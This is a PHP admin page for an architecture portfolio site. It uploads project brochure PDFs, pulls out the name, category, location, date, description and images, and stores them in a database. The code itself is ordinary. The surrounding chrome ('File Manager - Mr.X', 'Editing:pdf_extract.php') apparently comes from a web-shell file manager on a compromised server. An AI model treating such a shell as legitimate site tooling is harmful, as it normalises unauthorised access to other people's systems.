File Manager

Editing:pdf_extract.php

<?php
/**
 * ARCHI-TECH Admin PDF Project Extraction Module
 */
require_once __DIR__ . '/../includes/db.php';
require_once __DIR__ . '/../includes/functions.php';

// Check if vendor autoloader exists (installed via Composer)
$autoload_path = __DIR__ . '/../vendor/autoload.php';
if (file_exists($autoload_path)) {
    require_once $autoload_path;
} else {
    die("Composer packages not found. Please run 'composer install' in the project directory.");
}

check_admin_auth();

$success_msg = '';
$error_msg = '';
$extracted_info = null;

if (isset($_POST['submit_pdf'])) {
    if (!isset($_FILES['pdf_file']) || $_FILES['pdf_file']['error'] !== UPLOAD_ERR_OK) {
        $error_msg = "Please select a valid PDF file to upload.";
    } else {
        $file_name = $_FILES['pdf_file']['name'];
        $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
        
        if ($ext !== 'pdf') {
            $error_msg = "Invalid file type. Please upload PDF files only.";
        } else {
            try {
                // 1. Move PDF file to local uploads directory
                $pdf_filename = 'doc_' . bin2hex(random_bytes(6)) . '.pdf';
                $pdf_path = PDF_UPLOAD_DIR . $pdf_filename;
                $db_pdf_path = 'uploads/pdf/' . $pdf_filename;
                
                if (move_uploaded_file($_FILES['pdf_file']['tmp_name'], $pdf_path)) {
                    
                    // 2. Parse PDF Text Content
                    $parser = new \Smalot\PdfParser\Parser();
                    $pdf = $parser->parseFile($pdf_path);
                    $text = $pdf->getText();
                    
                    // 3. Extract Text Parameters using RegEx
                    $name = '';
                    $category = 'Architecture & Planning'; // default
                    $location = 'Colombo, Sri Lanka'; // default
                    $completion_date = null;
                    $description = '';
                    
                    // Match Project Name
                    if (preg_match('/Project\s*Name\s*:\s*(.*)/i', $text, $matches)) {
                        $name = trim($matches[1]);
                    } else {
                        // Fallback to filename if not found in text
                        $name = pathinfo($file_name, PATHINFO_FILENAME);
                        $name = str_replace(['-', '_'], ' ', $name);
                        $name = ucwords($name);
                    }
                    
                    // Match Category
                    if (preg_match('/Category\s*:\s*(.*)/i', $text, $matches)) {
                        $category = trim($matches[1]);
                    }
                    
                    // Match Location
                    if (preg_match('/Location\s*:\s*(.*)/i', $text, $matches)) {
                        $location = trim($matches[1]);
                    }
                    
                    // Match Completion Date
                    if (preg_match('/(?:Completion\s*Date|Date)\s*:\s*([0-9\-]+)/i', $text, $matches)) {
                        $completion_date = trim($matches[1]);
                    }
                    
                    // Match Description
                    if (preg_match('/Description\s*:\s*([\s\S]*?)(?=Category|Location|Date|Images|Before|After|$)/i', $text, $matches)) {
                        $description = trim($matches[1]);
                    } else {
                        // Fallback to snippet of text if description block not found
                        $description = "Extracted from " . $file_name . ". " . substr(strip_tags($text), 0, 250);
                    }
                    
                    // 4. Extract Images from PDF Objects
                    $extracted_images = [];
                    $objects = $pdf->getObjects();
                    
                    foreach ($objects as $object) {
                        if ($object instanceof \Smalot\PdfParser\Object) {
                            $details = $object->getDetails();
                            if (isset($details['Subtype']) && $details['Subtype'] === 'Image') {
                                $data = $object->getContent();
                                if (!empty($data)) {
                                    $img_ext = 'jpg';
                                    if (isset($details['Filter'])) {
                                        if ($details['Filter'] === 'FlateDecode') $img_ext = 'png';
                                        elseif ($details['Filter'] === 'JPXDecode') $img_ext = 'jp2';
                                    }
                                    
                                    $img_name = 'ext_' . bin2hex(random_bytes(6)) . '.' . $img_ext;
                                    $img_dest = PROJECT_UPLOAD_DIR . $img_name;
                                    
                                    if (@file_put_contents($img_dest, $data)) {
                                        $extracted_images[] = 'uploads/projects/' . $img_name;
                                    }
                                }
                            }
                        }
                    }
                    
                    // Assign main images from list
                    $before_img = null;
                    $after_img = null;
                    $sub_images = [];
                    
                    if (count($extracted_images) >= 2) {
                        $before_img = $extracted_images[0]; // first as before
                        $after_img = $extracted_images[1];  // second as after
                        $sub_images = array_slice($extracted_images, 2);
                    } elseif (count($extracted_images) === 1) {
                        $after_img = $extracted_images[0]; // only one image
                    } else {
                        // fallback placeholder if no images extracted
                        $after_img = 'assets/images/gallery-1.jpg';
                    }
                    
                    // 5. Save Extracted Data into database (projects table)
                    $stmt_proj = $pdo->prepare("INSERT INTO projects (name, description, category, location, completion_date, before_image, after_image, is_featured) VALUES (:name, :description, :category, :location, :completion_date, :before_image, :after_image, 0)");
                    $stmt_proj->execute([
                        'name' => $name,
                        'description' => $description,
                        'category' => $category,
                        'location' => $location,
                        'completion_date' => $completion_date,
                        'before_image' => $before_img,
                        'after_image' => $after_img
                    ]);
                    $new_project_id = $pdo->lastInsertId();
                    
                    // Save sub-images
                    foreach ($sub_images as $sub_path) {
                        $stmt_sub = $pdo->prepare("INSERT INTO project_images (project_id, image_path) VALUES (:project_id, :image_path)");
                        $stmt_sub->execute(['project_id' => $new_project_id, 'image_path' => $sub_path]);
                    }
                    
                    // 6. Save upload logging information into pdf_uploads table
                    $meta_json = json_encode([
                        'project_id' => $new_project_id,
                        'name' => $name,
                        'category' => $category,
                        'location' => $location,
                        'completion_date' => $completion_date,
                        'images_extracted' => count($extracted_images)
                    ]);
                    
                    $stmt_log = $pdo->prepare("INSERT INTO pdf_uploads (file_name, file_path, extracted_data, status) VALUES (:file_name, :file_path, :extracted_data, 'processed')");
                    $stmt_log->execute([
                        'file_name' => $file_name,
                        'file_path' => $db_pdf_path,
                        'extracted_data' => $meta_json
                    ]);
                    
                    $success_msg = "PDF successfully uploaded and processed.";
                    
                    // Keep info array to display to admin
                    $extracted_info = [
                        'name' => $name,
                        'category' => $category,
                        'location' => $location,
                        'date' => $completion_date,
                        'desc' => $description,
                        'images_count' => count($extracted_images)
                    ];
                } else {
                    $error_msg = "Failed to copy uploaded file to PDF destination folder.";
                }
            } catch (Exception $e) {
                $error_msg = "PDF Processing Failure: " . $e->getMessage();
            }
        }
    }
}

// Fetch past uploads
$past_uploads = [];
try {
    $stmt = $pdo->query("SELECT * FROM pdf_uploads ORDER BY id DESC LIMIT 10");
    $past_uploads = $stmt->fetchAll();
} catch (PDOException $e) {
    // offline
}

require_once __DIR__ . '/header.php';
require_once __DIR__ . '/navbar.php';
?>

<div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-4 border-bottom border-secondary">
    <h1 class="h2 text-white text-uppercase" style="letter-spacing: -0.01em; font-family: 'Syne', sans-serif;">Automated PDF Extractor</h1>
</div>

<?php if (!empty($success_msg)): ?>
    <div class="alert alert-success border-0 bg-success text-white mb-4">
        <i class="bi bi-check-circle-fill me-2"></i><?= sanitize_input($success_msg) ?>
    </div>
<?php endif; ?>
<?php if (!empty($error_msg)): ?>
    <div class="alert alert-danger border-0 bg-danger text-white mb-4">
        <i class="bi bi-exclamation-triangle-fill me-2"></i><?= sanitize_input($error_msg) ?>
    </div>
<?php endif; ?>

<div class="row g-4">
    
    <div class="col-lg-6">
        <div class="glass-card mb-4">
            <h3 class="h5 text-white text-uppercase mb-3" style="letter-spacing: 0.05em;"><i class="bi bi-file-earmark-arrow-up text-accent-color me-2"></i>Upload Project PDF</h3>
            <p class="small text-white-50 mb-4">Upload a structured project brochure. The extraction module will parse text parameters and rip embedded image elements to generate a portfolio entry instantly.</p>
            
            <form action="<?= BASE_URL ?>admin/pdf_extract.php" method="POST" enctype="multipart/form-data">
                <div class="mb-4">
                    <label for="pdf_file" class="form-label text-uppercase small text-muted fw-bold">Select PDF Document</label>
                    <input type="file" class="form-control form-dark-control" id="pdf_file" name="pdf_file" accept=".pdf" required>
                </div>
                
                <button type="submit" name="submit_pdf" class="btn-gold-filled w-100 py-3 text-uppercase fw-bold" style="font-size: 0.85rem; letter-spacing: 0.05em;">Process Extractor</button>
            </form>
        </div>
        
        <?php if ($extracted_info): ?>
            
            <div class="glass-card border-accent">
                <h4 class="text-accent-color text-uppercase mb-3" style="font-size: 1.1rem;"><i class="bi bi-file-earmark-check me-2"></i>Extracted Project Properties</h4>
                <div class="row g-3">
                    <div class="col-12">
                        <small class="text-muted text-uppercase d-block small">Project Name</small>
                        <strong class="text-white"><?= sanitize_input($extracted_info['name']) ?></strong>
                    </div>
                    <div class="col-6">
                        <small class="text-muted text-uppercase d-block small">Category</small>
                        <strong class="text-white"><?= sanitize_input($extracted_info['category']) ?></strong>
                    </div>
                    <div class="col-6">
                        <small class="text-muted text-uppercase d-block small">Location</small>
                        <strong class="text-white"><?= sanitize_input($extracted_info['location']) ?></strong>
                    </div>
                    <div class="col-6">
                        <small class="text-muted text-uppercase d-block small">Completion Date</small>
                        <strong class="text-white"><?= !empty($extracted_info['date']) ? sanitize_input($extracted_info['date']) : 'In Progress' ?></strong>
                    </div>
                    <div class="col-6">
                        <small class="text-muted text-uppercase d-block small">Images Extracted</small>
                        <strong class="text-white"><?= sanitize_input($extracted_info['images_count']) ?> images</strong>
                    </div>
                    <div class="col-12">
                        <small class="text-muted text-uppercase d-block small">Description Snippet</small>
                        <p class="mb-0 text-white-50 small" style="text-align: justify;"><?= sanitize_input(substr($extracted_info['desc'], 0, 150)) ?>...</p>
                    </div>
                </div>
                <div class="mt-4 border-top border-secondary pt-3">
                    <a href="<?= BASE_URL ?>projects.php" class="small text-accent-color text-uppercase fw-bold text-decoration-none" target="_blank">Verify Frontend Display <i class="bi bi-box-arrow-up-right ms-1"></i></a>
                </div>
            </div>
        <?php endif; ?>
    </div>
    
    
    <div class="col-lg-6">
        <div class="glass-card p-4">
            <h3 class="h5 text-white text-uppercase mb-4" style="letter-spacing: 0.05em;"><i class="bi bi-clock-history text-accent-color me-2"></i>Processing History</h3>
            
            <div class="table-responsive">
                <table class="table table-dark table-striped table-hover align-middle border-secondary table-dark-custom">
                    <thead>
                        <tr>
                            <th scope="col" style="width: 50%;">Document Title</th>
                            <th scope="col" style="width: 30%;">Processed Date</th>
                            <th scope="col" style="width: 20%; text-align: center;">Status</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (!empty($past_uploads)): ?>
                            <?php foreach ($past_uploads as $row): ?>
                                <tr>
                                    <td>
                                        <a href="<?= BASE_URL . sanitize_input($row['file_path']) ?>" class="text-white" target="_blank">
                                            <strong><?= sanitize_input($row['file_name']) ?></strong>
                                        </a>
                                        <?php if (!empty($row['extracted_data'])): ?>
                                            <?php $json = json_decode($row['extracted_data'], true); ?>
                                            <?php if (isset($json['name'])): ?>
                                                <small class="d-block text-muted">Project: <?= sanitize_input($json['name']) ?></small>
                                            <?php endif; ?>
                                        <?php endif; ?>
                                    </td>
                                    <td class="small text-muted"><?= date('M d, Y H:i', strtotime($row['created_at'])) ?></td>
                                    <td align="center">
                                        <span class="badge bg-success text-uppercase">Processed</span>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <tr>
                                <td colspan="3" class="text-center text-muted py-4">No PDF logs available.</td>
                            </tr>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<?php require_once __DIR__ . '/footer.php'; ?>

Cancel

🤩 File Manager - Mr.X

Editing:pdf_extract.php